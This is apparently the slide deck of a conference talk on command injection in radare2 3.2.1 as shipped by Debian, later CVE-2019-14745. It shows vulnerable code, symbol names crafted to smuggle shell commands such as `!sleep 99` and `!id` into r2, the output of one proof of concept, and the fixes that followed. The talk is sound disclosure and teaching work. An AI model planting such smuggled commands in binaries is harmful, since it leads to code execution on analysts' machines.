
HAXXORING R2!!1!

HELLO from @CaptnBanana @blenk92





PwnDebian

Since the very begining of radare development we had people complaining of bugs because they were using the 3-4 year old version shipped in their distro. We tried to work with everyone who ships builds of r2 to always get updates and merge back their patches upstream so everyone gets benefit out of it.


But that has been not enough. In github/radare2 we can check out most of known/used Linux and BSD distros and the shipped r2 version, and it's pretty clear that Debian/Ubuntu stopped updating those packages long time ago (3.2.1). Yes, the 0.9.6 drama is over.

The aim of this competition is to publish a working exploit for radare2 on Debian stable (nowadays, unstable keeps the same version). To show that debian-security and backporting patches is not solving enough when distributing such state-of-the-art packages.

In order to win this competition. We will accept only 1 working exploit (the first one to submit it) for radare2-3.2.1 (built for x86-64 debian/stable). Additional points will be given for writing some notes or presenting at r2con the way the vuln was found and how the exploit was developed.




Memory Corruption?



Too Hard!



Command Injection Issues



dmS Command Injection

```
/* TODO: do not spawn. use RBin API */
if (sectname) {
   char *sect = r_str_escape (sectname);
   res = r_sys_cmd_strf ("env RABIN2_PREFIX=\"%s\" rabin2 %s-B 0x%08"
   PFMT64x" -S \"%s\" | grep \"%s\"", name, mode, baddr, filesc,
   sect);
```

Issue was here, Fixed now



r_core_file_reopen_debug()

```
// reload symbols with new baddr
r_core_cmd0 (core, ".is*");
r_core_cmd0 (core, ".ir*");
r_core_cmd0 (core, ".iz*");
r_core_cmd0 (core, ".iM*");
```



is*

```
[0x00005ae0]> is*
fs symbols
"f sym._obstack_allocated_p 55 0x000163e0"
"f sym.__progname_full 8 0x000222a0"
"f sym.stderr 8 0x000222c0"
"f sym.obstack_begin_1 21 0x000162c0"
```

Attacker controlled?





```
△ /tmp strings /bin/ls | grep progname_full
__progname_full
```





The . operator






The!operator

```
[0x00000000]> !?
Usage: !<cmd> Run given command as in system(3)
| ! list all historic commands
| !ls execute 'ls' in shell
```





Crafting A Binary











MUCHOS DEMOS





hopefully









Hot !Fix

f sym.A`!sleep 99`AAAAAAAAA 8 0x000222c0

becomes

"f sym.A`!sleep 99`AAAAAAAAAA 8 0x000222c0"

"f sym.A"; !sleep 99 #A AAAAAAAA 8 0x000222c0"



Next Try...

from @thestr4ng3r

```
"f sym.A"; !sleep 99 #AAAAAAAAAA 8 0x000222c0"
becomes

"f sym.A sleep 99 #AAAAAAAAA 8 0x000222c0"
```

What about PE Binaries?

```
[0x14007e3c4]> is*~sleep
"f sym.imp.GDI32.dll_AAAAAA__sleep_10_AAAAA 0 0x1400c5c38"
k bin/pe/imp.GDI32/2=AAAAAA`!sleep_10`AAAAA
```





Let pancake do it...

Some more filtering

```
switch (*arg) {
  case '@':
  case '`':
  case '|':
  case ';':
  case '\n':
        break;
  default:
        *b++ = *arg;
```

```
switch (*arg) {
  case ' ':
  case '=':
  case '\r':
    case '\n':
       break;
  default:
       *b++ = *arg;
```



Surprise Time!



Mad O-Day

What about ...?

 $[0 \times 000000000] > ir*~\!id$

```
"f reloc.KERNEL32.dll_UnhandledExcept"``"\!id; 4 0xfffffffffffb54fc"

[0x0046fdb6]> ood
Could not execvp: Permission denied
Could not execvp: Permission denied
r_core_file_reopen: Cannot reopen file: dbg:///home/max/kaputty.exe with perms 0
.7, attempting to spen read only.
uid=1000(max) gid=1000(max) groups=1000(max),3(sys),90(network),98(power),986(video),988(storage),991(lp),993(input),995(audio),998(wheel)
sn: 4: command not round
```

Good News: ood seems currently broken (for ELFs)



CVEzZZ!!1!

CVE-2019-14745

Impact

CVSS v3.0 Severity and Metrics:

Base Score: 7.8 HIGH

Vector: AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (V

legend)

Impact Score: 5.9

Exploitability Score: 1.8

Attack Vector (AV): Local

Attack Complexity (AC): Low

Privileges Required (PR): None

User Interaction (UI): Required

Scope (S): Unchanged


Confidentiality (C): High

Integrity (I): High

Availability (A): High



Go And Pwn Yo Friends





Lessons learned

- Don't derive commands from untrusted input
- Don't use user commands internally
- Breaking things is easy, fixing is hard...

